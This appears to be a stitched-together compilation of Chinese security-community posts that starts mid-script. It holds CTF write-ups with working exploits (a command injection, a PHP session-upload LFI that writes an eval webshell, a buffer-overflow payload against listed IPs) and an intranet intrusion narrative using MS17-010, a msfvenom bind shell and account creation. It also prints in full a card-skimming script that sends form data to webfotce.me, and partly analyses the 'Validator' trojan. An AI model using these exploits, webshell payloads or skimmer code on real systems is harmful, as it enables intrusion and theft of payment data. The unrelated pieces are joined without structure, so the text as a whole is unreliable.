import time
time.sleep(2)
print(web3.eth.getTransactionReceipt(tx_id))
"""
#print(web3.eth.getTransactionReceipt('0xbb5d4dd2462e3a808fb3d52aabd8defe0472041971e6eec4b753417d0c4ce5dc'))
# address 1 = 0xeeFDEed9E7A39965a397De6bbe31dfb314525b06
def get_txn(src, dst, datad,nonce, value=0, ):
return {
"from": src,
"to": dst,
"gasPrice": web3.toWei(1,'gwei'),
"gas": 3000000,
"value": web3.toWei(value,'wei'),
"nonce": nonce,#web3.eth.getTransactionCount(src),
"data": datad,
'chainId':8888
}
"""to_addr='0x9d629baE007F1B454A46fc03FA5FDedB335e5B18'
data=long_to_bytes(0xc24fe950000000000000000000000000eeFDEed9E7A39965a397De6bbe31dfb314525b06)
nonce=web3.eth.getTransactionCount(acct.address)
signed_txn = web3.eth.account.signTransaction(get_txn(acct.address, to_addr, data, nonce), acct.privateKey)
txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print("hack"+txn_hash)"""
print(web3.eth.getTransactionReceipt('0xc3de56cb62b665191cbc640b6a7a68ffa1d7c22e6aa4f577d0e1bc1d419c3827'))
#print(web3.eth.getTransactionReceipt('0x9ed9c7f8899040de1f54fe911b27474c56b9f4f9e17374fe552e40bbe96c9f70'))
## Web
### WebFtp
扫到了/.git/下的一些东西
审计源码
/Readme/mytz.php
下可以act来控制一些动作
phpinfo()
即可拿到flag
### PNG图片转换器
Ruby的open可以执行命令
import requests
print(hex(ord('.')),hex(ord("/")))
res = requests.post(f"{url}/convert",data="file=echo bHMgLw== | base64 -d | sh;.png".encode("utf-8"),headers={"Content-Type":"application/x-www-form-urlencoded"},allow_redirects=False)
print(res.content)
### EasyCleanup
PHP SESSION LFI 一把梭了
import requests
import threading
class BasePHPSessionHelper:
def __init__(self,host) -> None:
self.host = host
pass
@staticmethod
def createSession(upload_url,sess_name:str="ekitest"):
while True:
files = {
"submit" : ("eki.png","GIF89awhatever","image/png")
}
data = {"PHP_SESSION_UPLOAD_PROGRESS" : "<?php echo 'Eki';file_put_contents('eki.php','<?php eval($_POST[1]);?>');?>" }
headers = {'Cookie':'PHPSESSID=' + sess_name}
r = requests.post(upload_url,files = files,headers = headers,data=data)
def sessionInclude(self,sess_name="ekitest"):
#sessionPath = "/var/lib/php5/sess_" + sess_name
sessionPath = f"/var/lib/php/sessions/sess_{sess_name}"
upload_url = f"{self.host}/lfi.php"
include_url = f"{self.host}/lfi.php?lfi={sessionPath}"
headers = {'Cookie':'PHPSESSID=' + sess_name}
t = threading.Thread(target=self.createSession,args=(upload_url,sess_name))
t.setDaemon(True)
t.start()
while True:
res = requests.post(include_url,headers=headers)
if b'Eki' in res.content:
print("[*] Get shell success.")
break
else:
print("[-] retry.")
return True
import threading,requests
host= "http://114.115.134.72:32770"
class Exp(BasePHPSessionHelper):
@staticmethod
def createSession(upload_url,sess_name:str="ekitest"):
while True:
files = {
"submit" : ("eki.png","GIF89awhatever","image/png")
}
data = {"PHP_SESSION_UPLOAD_PROGRESS" : "<?php echo 'Included';eval($_REQUEST['eki']);system('cat /flag');file_put_contents('eki.php','<?php eval($_POST[1]);?>');?>" }
headers = {'Cookie':'PHPSESSID=' + sess_name}
r = requests.post(upload_url,files = files,headers = headers,data=data)
def sessionInclude(self,sess_name="ekitest"):
#sessionPath = "/var/lib/php5/sess_" + sess_name
#sessionPath = f"/var/lib/php/sessions/sess_{sess_name}"
sessionPath = f"/tmp/sess_{sess_name}"
upload_url = f"{self.host}/index.php"
include_url = f"{self.host}/index.php?file={sessionPath}"
headers = {'Cookie':'PHPSESSID=' + sess_name}
t = threading.Thread(target=self.createSession,args=(upload_url,sess_name))
t.setDaemon(True)
t.start()
while True:
res = requests.post(include_url,headers=headers)
if b'Included' in res.content:
print("[*] Get shell success.")
print(include_url,res.content)
break
else:
print("[-] retry.")
return True
exp = Exp(host)
exp.sessionInclude("g")
### yet_another_mysql_injection
mysql quine
### pklovecloud
随便反序列化好像就行了，
<?php
$heat = 1;
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function setCinder($cinder){
$this->cinder = $cinder;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();//here
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
var_dump($file);
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
$b = new stdClass;
$b->neutron = $heat;
$b->nova = $heat;
$a = new ace;
$a->docker = $b;
$a->filename = 'flag.php';
$exp = new acp;
$exp->setCinder($a);
var_dump(urlencode(serialize($exp)));
$logData = unserialize(serialize($exp));
echo $logData;
?>
## Crypto
### ecc
第一个discrete_log直接出
第二个P的阶有一个大因子，但是太大了魔改一下ph的思路就可以
第三个是P的阶是p用smartattack
from Crypto.Util.number import *
p = 146808027458411567
A = 46056180
B = 2316783294673
E = EllipticCurve(GF(p), [A, B])
P = E(119851377153561800, 50725039619018388, 1)
Q = E(22306318711744209, 111808951703508717, 1)
print(long_to_bytes(discrete_log(Q, P, operation='+')))
p = 1256438680873352167711863680253958927079458741172412327087203
A = 377999945830334462584412960368612
B = 604811648267717218711247799143415167229480
E = EllipticCurve(GF(p),[A,B])
P = E(550637390822762334900354060650869238926454800955557622817950, 700751312208881169841494663466728684704743091638451132521079, 1)
Q = E(1152079922659509908913443110457333432642379532625238229329830, 819973744403969324837069647827669815566569448190043645544592, 1)
print(factor(P.order()) )
factor_list = P.order().factor()
factor_list = [i[0] ^ i[1] for i in factor_list]
factor_list = factor_list[:-1]
M_i = [P.order() // i for i in factor_list]
a_i = [discrete_log(M_i[i] * Q, M_i[i] * P, factor_list[i], operation='+') for i in range(len(factor_list))]
a = crt(a_i, factor_list)
m = 1
for i in factor_list:
m *= i
# key = a + kk * m
# K = a * G + kk * m * G
# (K - a * G) = kk * (m * G)
# a new ecdlp and bound is kk
# kk is about 21 bit
# so just use bsgs
bound = (2 ^ 56) // m
kk = bsgs(m * P, Q - a * P, (bound // 2, bound), operation='+')
key = a + kk * m
print(bytes.fromhex(hex(key)[2:]))
def HenselLift(P,p,prec):
E = P.curve()
Eq = E.change_ring(QQ)
Ep = Eq.change_ring(Qp(p,prec))
x_P,y_P = P.xy()
x_lift = ZZ(x_P)
y_lift = ZZ(y_P)
x, y, a1, a2, a3, a4, a6 = var('x,y,a1,a2,a3,a4,a6')
f(a1,a2,a3,a4,a6,x,y) = y^2 + a1*x*y + a3*y - x^3 - a2*x^2 - a4*x - a6
g(y) = f(ZZ(Eq.a1()),ZZ(Eq.a2()),ZZ(Eq.a3()),ZZ(Eq.a4()),ZZ(Eq.a6()),ZZ(x_P),y)
gDiff = g.diff()
for i in range(1,prec):
uInv = ZZ(gDiff(y=y_lift))
u = uInv.inverse_mod(p^i)
y_lift = y_lift - u*g(y_lift)
y_lift = ZZ(Mod(y_lift,p^(i+1)))
y_lift = y_lift+O(p^prec)
return Ep([x_lift,y_lift])
def SmartAttack(P,Q,p,prec):
E = P.curve()
Eqq = E.change_ring(QQ)
Eqp = Eqq.change_ring(Qp(p,prec))
P_Qp = HenselLift(P,p,prec)
Q_Qp = HenselLift(Q,p,prec)
p_times_P = p*P_Qp
p_times_Q=p*Q_Qp
x_P,y_P = p_times_P.xy()
x_Q,y_Q = p_times_Q.xy()
phi_P = -(x_P/y_P)
phi_Q = -(x_Q/y_Q)
k = phi_Q/phi_P
k = Mod(k,p)
return k
### secrets
像个背包？构造下面的格就出了
p = 7920896218820943056702891053785968782942077704655549145065876361907786355057528237061821280280635146678227702121299090049267547565989625947956850127609879
a = [5159988341992193282580685525745512910538614629527934692498086718630359717994948104271635300443062627349528208661883545208904466234606731357843882012950859,
6335284643679900918720817621948758994408045076082703123014899812263624185305268879304513104269749790342063146501376008458665966651095670658606928517201721,
6076126683981038494289949541335915228950649182831013867715530414744306299113418155691977393469353865827225836608438360416489035800225275307683760086087019]
c = 2262305826865903827781721021939132022253239409560318732728105425007767005455109451147816015758855318893496902119172860305961200859254558917933621119030425
just = 2 ^ 167
L = Matrix(ZZ, [[ 2, 0, 0, 0, p * just],
[ 0, 2^160, 0, 0, a[0] * just],
[ 0, 0, 2^224, 0, a[1] * just],
[ 0, 0, 0, 2^256, a[2] * just],
[ 2^320, 2^320, 2^320, 2^320, c * just]
])
res = list(L.LLL()[0])[1:4]
res = [(2^320 - res[i]) // L[i + 1][i + 1] for i in range(3)]
from gmpy2 import iroot
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.number import *
secrets = [0 for i in range(3)]
secrets[1] = iroot(res[0] // res[1], int(2))[0]
secrets[0] = iroot(res[2], int(2))[0]
secrets[2] = iroot(res[1] // secrets[0], int(2))[0]
secrets = [int(_) for _ in secrets]
print(secrets)
key = hashlib.sha256(str(secrets).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
enc_flag = cipher.decrypt(long_to_bytes(0x99ff236d4f1e020e6c83cc154e20f71eb510913056d47344b44a87f98664efd3))
print(enc_flag)
### doublesage
题目有问题
随便 传 5个数字就可以过第一个
再传15个就能过第二个
然后就有flag了
下面的exp也不对 看着题目说要 1 * 23 的向量 所以瞎传了个噪声回去
（反正全0也能出）
有问题这题
from pwn import *
import json
context.log_level = 'debug'
ip, port = '122.112.210.186', 51436
def deal(s):
return json.loads(s.replace(' ', ' ').replace(' ', ' ').replace('[ ', '[').replace(' ', ',').replace('\n', ''))
io = remote(ip, port)
io.recvuntil('23 :\n')
A = []
for i in range(5):
A.append(deal(io.recvline().decode()) + [0])
io.recvuntil('23 :\n')
b = deal(io.recvline().decode()) + [290]
A = Matrix(ZZ, A)
b = Matrix(ZZ, b)
mid = block_matrix([29 * identity_matrix(23), Matrix(ZZ, [0] * 23).T], ncols=2)
L = block_matrix([A, mid, b], nrows=3, subdivide=False)
B = L.LLL()
print(B)
E = Matrix(B[-1]).T[:-1].T
io.recvuntil('29 :\n')
io.sendline(E.str())
print(io.recvline())
# io.interactive()
io.recvline()
io.recvline()
io.recvuntil('143 :\n')
A = []
for i in range(15):
# print('###########')
aaaa = io.recvuntil('\n')
# print(aaaa)
A.append(deal(aaaa.decode()) + [0])
io.recvuntil('143 :\n')
b = deal(io.recvuntil(']').decode()) + [227]
A = Matrix(ZZ, A)
b = Matrix(ZZ, b)
mid = block_matrix([227 * identity_matrix(143), Matrix(ZZ, [0] * 143).T], ncols=2)
L = block_matrix([A, mid, b], nrows=3, subdivide=False)
print('start LLL')
B = L.LLL()
print('done. #########')
print(B)
E = Matrix(B[-1]).T[:-1].T
io.recvuntil('227 :\n')
io.sendline(E.str())
print(io.recvline())
## Pwn
### Pwn1
ret2text
#coding:utf-8
from pwn import *
import subprocess, sys, os
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './pwn'
ip = '139.9.123.168'
port = 32548
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = elf.process()
else:
p = remote(ip, port)
run(0)
rdi = 0x000000000040120b
payload = 'a'*144+p64(0)+p64(rdi)+p64(0x403408)+p64(0x401030)
p.send(payload)
p.interactive() | 社区文章 |
**继续篇**
上次写完文章之后，承蒙一位老哥指点说内网中有域，这次我又来了
https://xz.aliyun.com/t/8425
**漏洞利用**
目标很明确，直接上代理脚本进内网
配置代理
python2 reGeorgSocksProxy.py -p 12321 -u http://xxxxxx:9090/exp/exp.jsp
开启msf直接找到ms17_010
一顿扫描，看看结果
扫了40% 就出来了10几台，大鱼还真不少
先随机试试几台看看效果
卧槽！！！ 试了几十次就是不成功
难道是因为代理不稳定？
换msf添加路由的方式试试吧
这里需要注意，payload要选择正向连接的，不要反弹shell，因为我访问得到目标而目标访问不到我
set payload windows/x64/meterpreter/bind_tcp
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4443 -f exe > ev.exe
运行木马上线
用msf连过去
成功接收到会话
ifconfig
卧槽，还有其他网段？
run get_local_subnets
先不管他 先搞192.168.1.0/24
run autoroute -s 192.168.1.0/24
这里换了代理，又试了几十次还是失败。。。。。。
我太难了~
后来有老哥指点，反弹shell没有到kali的路由，或者有防护设备
换了一个payload(此处有坑)，刚开始还是报错
查看了参数，才知道原来是默认执行的命令不行，得自己修改
**成功利用**
修改了参数之后在执行一遍（^_^）
嘴角微微上扬
下一步，添加账号并增加到管理组，再开启3389
开3389
wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
连接过去(这里吐槽一下，正向代理老特么掉线)
唉~,真是困难重重。。。。。
直接换下一台试试
先扫一下开3389的
我特么服了 开3389的没有永恒之蓝漏洞 有永恒之蓝漏洞的没开3389
用注册表开了3389 又出现内部错误
太难了~~
**重新梳理**
上了个厕所回来梳理一下
重新扫描了存在永恒之蓝的主机，重新扫描了开3389的主机，取交集（嘴角又开始上扬）
就是它
192.168.1.144
可以正常连接（我很欣慰）
重复上边的执行命令步骤
**结束语**
终于经历各种艰难险阻之后，搞到了权限（距离域控还有很长的距离）
搞到域控的老哥你慢点，我都看不见你的车尾灯了（^_^） | 社区文章 |
# 逆marveloptics.com上的JS恶意软件
|
##### 译文声明
本文是翻译文章，文章来源：blog.jse.li
原文地址：<https://blog.jse.li/posts/marveloptics-malware/>
译文仅供参考，具体内容表达以及含义原文为准。
译文仅供参考，具体内容表达以及含义原文为准
## 前言
一些注入脚本经常用来窃取你的数据，并将其发送给攻击者。但是不得不说，其中一些攻击者的编程技术真的很拙劣。
近日，我妈妈正在浏览网站想购买一副新眼镜，在访问marveloptics.com时，她的防病毒软件开始预警某些恶意JavaScript脚本。而我总是很好奇病毒是如何工作，实现攻击的，所以我对其进行了逆向分析。
该恶意文件可下载于
[https://github.com/veggiedefender/marveloptics_malware
](https://github.com/veggiedefender/marveloptics_malware)
## 定位
攻击者将他们的恶意代码注入了像modernizr和openid这样的文件中，这将为他们提供一些好处：
1.因为库的原因，这使得发现混淆后的恶意代码变得更难。
2.因为开发人员不经常更新其依赖关系，注入的恶意软件可以在应用程序代码更新后继续存在。
https://www.marveloptics.com/templates/moptics/js/vendor/modernizr.js
https://www.marveloptics.com/libraries/openid/openid.js
## Deobfuscating.js
带有恶意代码的文件：`modernizr.js`和`openid.js`
它们包含完全相同的恶意代码，并且显然使用`javascriptobfuscator.com`的模糊处理。
幸运的是，`js-beautify`可以专门对这些脚本进行反混淆处理。
$ js-beautify -x -s 2 original/openid.js >
deobfuscated.js
var i3692386a609ff6fd204a1418521ec651 = {
snd: null,
o7d6e88f271f3ac078a708f7123e10e14: "https://webfotce.me/js/form.js",
myid: (function(_0x79e5x2) {
var _0x79e5x3 = document["cookie"]["match"](new RegExp("(?:^|; )" + _0x79e5x2["replace"](/([.$?*|{}()[]\/+^])/g, "\$1") + "=([^;]*)"));
return _0x79e5x3 ? decodeURIComponent(_0x79e5x3[1]) : undefined
})("setidd") || (function() {
var _0x79e5x4 = new Date();
var _0x79e5x5 = _0x79e5x4["getTime"]() + "-" + Math["floor"](Math["random"]() * (999999999 - 11111111 + 1) + 11111111);
var _0x79e5x6 = new Date(new Date()["getTime"]() + 60 * 60 * 24 * 1000);
document["cookie"] = "setidd=" + _0x79e5x5 + "; path=/; expires=" + _0x79e5x6["toUTCString"]();
return _0x79e5x5
})(),
clk: function() {
i3692386a609ff6fd204a1418521ec651["snd"] = null;
var _0x79e5x7 = document["querySelectorAll"]("input, select, textarea, checkbox, button");
for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5x7["length"]; _0x79e5x8++) {
if (_0x79e5x7[_0x79e5x8]["value"]["length"] > 0) {
var _0x79e5x9 = _0x79e5x7[_0x79e5x8]["name"];
if (_0x79e5x9 == "") {
_0x79e5x9 = _0x79e5x8
};
i3692386a609ff6fd204a1418521ec651["snd"] += _0x79e5x7[_0x79e5x8]["name"] + "=" + _0x79e5x7[_0x79e5x8]["value"] + "&"
}
}
},
send: function() {
try {
var _0x79e5xa = document["querySelectorAll"]("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5xa["length"]; _0x79e5x8++) {
var _0x79e5xb = _0x79e5xa[_0x79e5x8];
if (_0x79e5xb["type"] != "text" && _0x79e5xb["type"] != "select" && _0x79e5xb["type"] != "checkbox" && _0x79e5xb["type"] != "password" && _0x79e5xb["type"] != "radio") {
if (_0x79e5xb["addEventListener"]) {
_0x79e5xb["addEventListener"]("click", i3692386a609ff6fd204a1418521ec651["clk"], false)
} else {
_0x79e5xb["attachEvent"]("onclick", i3692386a609ff6fd204a1418521ec651["clk"])
}
}
};
var _0x79e5xc = document["querySelectorAll"]("form");
for (vari = 0; _0x79e5x8 < _0x79e5xc["length"]; _0x79e5x8++) {
if (_0x79e5xc[_0x79e5x8]["addEventListener"]) {
_0x79e5xc[_0x79e5x8]["addEventListener"]("submit", i3692386a609ff6fd204a1418521ec651["clk"], false)
} else {
_0x79e5xc[_0x79e5x8]["attachEvent"]("onsubmit", i3692386a609ff6fd204a1418521ec651["clk"])
}
};
if (i3692386a609ff6fd204a1418521ec651["snd"] != null) {
var _0x79e5xd = location["hostname"]["split"](".")["slice"](0)["join"]("_") || "nodomain";
var _0x79e5xe = btoa(i3692386a609ff6fd204a1418521ec651["snd"]);
var _0x79e5xf = new XMLHttpRequest();
_0x79e5xf["open"]("POST", i3692386a609ff6fd204a1418521ec651["o7d6e88f271f3ac078a708f7123e10e14"], true);
_0x79e5xf["setRequestHeader"]("Content-type", "application/x-www-form-urlencoded");
_0x79e5xf["send"]("info=" + _0x79e5xe + "&hostname=" + _0x79e5xd + "&key=" + i3692386a609ff6fd204a1418521ec651["myid"])
};
i3692386a609ff6fd204a1418521ec651["snd"] = null;
_0x79e5xe = null;
setTimeout(function() {
i3692386a609ff6fd204a1418521ec651["send"]()
}, 30)
} catch (e) {}
}
};
if ((new RegExp("onepage|checkout|onestep", "gi"))["test"](window["location"])) {
i3692386a609ff6fd204a1418521ec651["send"]()
}
wow，这变得好一些了，但是接下来是查找和替换混淆后的变量名以及添加注释依旧是个繁琐工作：
var Malware = {
data: null,
url: "https://webfotce.me/js/form.js",
myid: (function(cookieName) {
// Check setidd cookie for id
var id = document.cookie.match(new RegExp("(?:^|; )" + cookieName.replace(/([.$?*|{}()[]\/+^])/g, "\$1") + "=([^;]*)"));
return id ? decodeURIComponent(id[1]) : undefined;
})("setidd") || (function() {
// If the setidd cookie doesn't exist, then generate a new id and save it in the setidd cookie
// IDs look like 1529853014535-289383517
// Unix timestamp (ms), a dash, and a long random number
var timestamp = new Date();
var id = timestamp.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // Cookie expires in 24 hours
document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
return id;
})(),
stealData: function() {
// Serializes the values of inputs, dropdowns, textareas, checkboxes, and buttons (?)
// Saves them in Malware.data
Malware.data = null;
var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
for (var i = 0; i < elements.length; i++) {
if (elements[i].value.length > 0) {
var name = elements[i].name;
if (name == "") {
name = i;
};
Malware.data += elements[i].name + "=" + elements[i].value + "&";
}
}
},
send: function() {
try {
// When the user clicks any buttons or form inputs, run stealData
var elements = document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
if (element.type != "text" && element.type != "select" && element.type != "checkbox" && element.type != "password" && element.type != "radio") {
if (element.addEventListener) {
element.addEventListener("click", Malware.stealData, false);
} else {
element.attachEvent("onclick", Malware.stealData);
}
}
};
// When the user submits a form, run stealData
var formElements = document.querySelectorAll("form");
for (vari = 0; i < formElements.length; i++) { // Yes, this is their typo!
if (formElements[i].addEventListener) {
formElements[i].addEventListener("submit", Malware.stealData, false);
} else {
formElements[i].attachEvent("onsubmit", Malware.stealData);
}
};
// If there's any data to send, then send it to configured url
if (Malware.data != null) {
var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
var data = btoa(Malware.data); // base64 encoded
var xhr = new XMLHttpRequest();
xhr.open("POST", Malware.url, true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
};
Malware.data = null;
data = null;
setTimeout(function() {
Malware.send();
}, 30); // This whole function runs every 30 milliseconds!
} catch (e) {}
}
};
// Only run on pages with worthwhile info
if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
Malware.send();
}
## 上述代码分析
让我们一步一步来揭示上述代码的作用吧
### 开始分析
// Only run on pages with worthwhile info
if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
Malware.send();
}
这是整个脚本的入口点，如果该页面是结账页面，那么它将调用send()函数
### 声明主对象
var Malware = {
data: null,
url: "https://webfotce.me/js/form.js",
我将对象重命名为`Malware`，并且大部分代码都存在于此对象中。
data最终将存储用户的被盗数据，这些数据都将被发送到url。
### 识别用户
myid: (function(cookieName) {
// Check setidd cookie for id
var id = document.cookie.match(new RegExp("(?:^|; )" + cookieName.replace(/([.$?*|{}()[]\/+^])/g, "\$1") + "=([^;]*)"));
return id ? decodeURIComponent(id[1]) : undefined;
})("setidd") || (function() {
// If the setidd cookie doesn't exist, then generate a new id and save it in the setidd cookie
// IDs look like 1529853014535-289383517
// Unix timestamp (ms), a dash, and a long random number
var timestamp = new Date();
var id = timestamp.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // Cookie expires in 24 hours
document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
return id;
})(),
`myid`存储用户的标识ID字符串
在第一个块中，程序检查一个名为`setidd`的cookie。
如果它存在（受害者是返回用户），则会解析cookie的ID，并将其存储到myid。
但是，如果cookie不存在，那么就会产生一个新的ID，并将其保存在`myid`和名为`setidd`的cookie中，它的有效期为24小时。
而ID由当前的unix时间戳，短划线和长随机数组成，看起来像`1529853014535-289383517`。
### 数据窃取
stealData: function() {
// Serializes the values of inputs, dropdowns, textareas, checkboxes, and buttons (?)
// Saves them in Malware.data
Malware.data = null;
var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
for (var i = 0; i < elements.length; i++) {
if (elements[i].value.length > 0) {
var name = elements[i].name;
if (name == "") {
name = i;
};
Malware.data += elements[i].name + "=" + elements[i].value + "&";
}
}
},
首先，它通过将其设置为null清除data。然后，它在页面上查找所有文本输入，并以以下格式保存其名称和值：
username=admin&password=hunter2
但实际上，因为data作为null而开始程序，程序串给它拼接新的值后，最终看起来更像是这样的：
nullusername=admin&password=hunter2
### send()函数
send: function() {
try {
// ...
} catch (e) {}
}
这些是专业开发人员设计的代码，对于错误的捕捉做的很好，不用担心程序错误使它们结果受到影响
### 添加事件侦听器
// When the user clicks any buttons or form inputs, run stealData
var elements = document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
if (element.type != "text" && element.type != "select" && element.type != "checkbox" && element.type != "password" && element.type != "radio") {
if (element.addEventListener) {
element.addEventListener("click", Malware.stealData, false);
} else {
element.attachEvent("onclick", Malware.stealData);
}
}
};
恶意软件会为页面上的所有按钮注入一个事件监听器
因此当用户单击其中任何一个按钮时，它们会再次运行`stealData()`。
如果不存在，则测试`element.addEventListener`并且使用`element.attachEvent`
// When the user submits a form, run stealData
var formElements = document.querySelectorAll("form");
for (vari = 0; i < formElements.length; i++) { // Yes, this is their typo!
if (formElements[i].addEventListener) {
formElements[i].addEventListener("submit", Malware.stealData, false);
} else {
formElements[i].attachEvent("onsubmit", Malware.stealData);
}
};
他们也试图在表单提交时做同样的事情，然而，他们写错了一个字：
应该写为`var i = 0`，而不是`vari = 0`。
这样就创建了一个名为`vari`的全局变量并将其值设置为0。
幸运的是，i在之前的循环里已被作用过，所以，i的值肯定是高于0或是`formElements.length`的，这就意味着循环体实际上从未运行过
### 发送数据
// If there's any data to send, then send it to configured url
if (Malware.data != null) {
var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
var data = btoa(Malware.data); // base64 encoded
var xhr = new XMLHttpRequest();
xhr.open("POST", Malware.url, true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
};
如果对象里面有任何data数据（由stealData()函数赋值），则将其发送到攻击者的域名。
所有内容data都经过base64编码，因此它不会与其余的POST请求发生冲突，其中包括ID和当前页面的主机名（由于某种原因，点会转换为下划线）。
### 清理并再次运行
Malware.data = null;
data = null;
setTimeout(function() {
Malware.send();
}, 30); // This whole function runs every 30 milliseconds!
send每30毫秒递归调用一次，可以说攻击者真的不关心程序的性能。
## 大体时间
根据互联网档案快照，[marveloptics.com](http://marveloptics.com)自2017年1月至6月期间已被感染，这意味着他们过去一年的所有客户都被窃取了信息。
而我今年6月24日通过电子邮件向`[[email protected]](mailto:[email protected])`发送了详细信息，但尚未收到回复。 | 社区文章 |
# “验证器”（Validator）— 美国国家安全局NSA（APT—C—40）的木马尖兵
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
### 3.1功能简述
该木马程序的主体为DLL
COM劫持器，其核心功能位于DllMain中，对特定DLL进行劫持，接受CC控制，导出控制函数转发到正常DLL中以保持受控端主机功能正常运行。近期在中国科研机构提取的“验证器”木马程序样本会被微软explorer.exe或avp.exe加载启动。该样本的更高版本，也可被一些常见的服务进程加载启动，如：svchost.exe、wuauserv（Windows更新服务）、LanmanServer（Windows共享服务）等。
### 3.2“验证器”木马程序功能指令
现已发现的“验证器”木马程序指令汇总如下： 指令 | 功能
---|---
0x42 | 修改受影响设备标识，同时取包中第二个字节作为子命令号，具有如下功能：l命令0：重新连接服务器l命令2：卸载l其他情况：重置rc6
key初始化标志
0x44 | 写文件(0x4a 指令中文件)
0x4a | 创建文件，若已经存在，则获取文件大小
0x4b | 获取文件大小
0x53 | 读取文件
0x56 | CRC16校验文件，不通过则删除；通过则复制文件,删除原文件,然后根据标志判断是否以进程形式加载
0x60 | 获取系统信息,并回传
0x70 | 获取系统信息,修改受影响设备标识
0x75 | 修改转换时间的间隔,并回传系统信息
0x76 | 修改CC并获取系统信息回传
0x79 | 更新配置信息
0x92 | 获取指定文件大小
0x95 |
根据数据包第二个四字节的值，执行以下功能：l若为1，则创建执行文件的进程l若为3，则将指定文件读入内存，在内存中加载后调用其导出函数dll_u
0xA2 | 更新CC地址，并刷新配置信息
0x78 | 设置（修改）文件路径
0x80 | 删除指定文件
### 3.3回传信息
“验证器”（Validator）木马程序在窃取目标系统信息后，会通过上述结构组包加密回传： 标号 | 说明 | 标号 | 说明
---|---|---|---
000 | MAC地址 | 010 | 系统信息 ProductID
001 | 本地IPv4地址 | 011 | 系统语言信息
002 | 组件版本信息 | 012 | 系统语言信息
003 | 组件ID | 013 | Windows目录
004 | 代理设置信息 | 014 | 本地系统网络连接状态
005 | 注册信息RegisteredOwner | 015 | 安装的软件信息
006 | 注册信息 RegisteredOrganization | 016 | 未知
007 | 系统最近安装的服务包名 | 018 | 系统位数
008 | 系统信息 CurrentBuildNumber | 019 | 当前时间日期
009 | 系统信息 CurrentVersion | |
每个代号之间内容用\r\n进行分隔，例如: “000:xxxxx\r\n001:xxxxx\r\n”。
### 3.4详细功能分析
在“验证器”（Validator）木马加载到DllMain后，会首先创建线程，执行初始化动作，主要包含以下行为：
**3.4.1线程函数1**
使用异或运算动态加解密字符串，在使用时解密，使用完后加密回去，其使用的异或值有两种：0x3C和0x7F。
获取受控目标系统当前版本，根据系统版本不同，后续劫持DLL的名称也会有所不同，主要针对win9x、win2000、winxp、win7等微软系列操作系统。
注册表 | 项 | 劫持DLL 1 | 劫持DLL 2 | 版本
---|---|---|---|---
HKLM\System\CurrentControlSet\Control\SessionManager\KnownDLLs | LINKINFO |
LI.DLL | LINK32.DLL | Win9x
HKLM\SYSTEM\CurrentControlSet\Services\hgfs\networkprovider | ProviderPath |
hgfs32.dll | hgfspath.dll | Win 2000
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32 | midimapper |
midimapper.dll | midimap32.dll | Win xp
HKCR\CLSID\\\\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\\\InProcServer32 | (默认)
| actxprxy32.dll | actxprxyserv.dll | Win 7
判断本模块名是否为ee.dll，若不是则执行清理动作后退出。若当前模块是ee.dll，则继续执行，清除系统目录下指定dll（上面表格中的劫持DLL），比较本模块资源解密出的配置信息版本与写入注册表中的配置信息版本，若本模块版本较新，则安装新的DLL以替换旧版本，该替换的DLL即为本模块自身，其替换策略如下：
劫持DLL 1 | 劫持DLL 2 | 将自身拷贝为目标
---|---|---
存在 | 不存在 | 劫持DLL 2
不存在 | 存在 | 劫持DLL 1
不存在 | 不存在 | 劫持DLL 1
其中，获取资源中的配置信息的操作如下，读取资源“BINRES”，并异或0x79进行解密。如果该样本运行在Windows
NT平台，会为后续的注册表操作设置安全描述符：KEY_ALL_ACCESS，若该样本运行于Windows 9.x平台，则不会执行该操作。
以上对注册表设置安全描述符，使得每个用户即便在低权限下也可读写该注册表项。上述操作完成后，将配置信息写回注册表项HKLM\SOFTWARE\Classes\CLSID\\{6AF33D21-9BC5-4f65-8654-B8059B822D91}中，如下表所示：
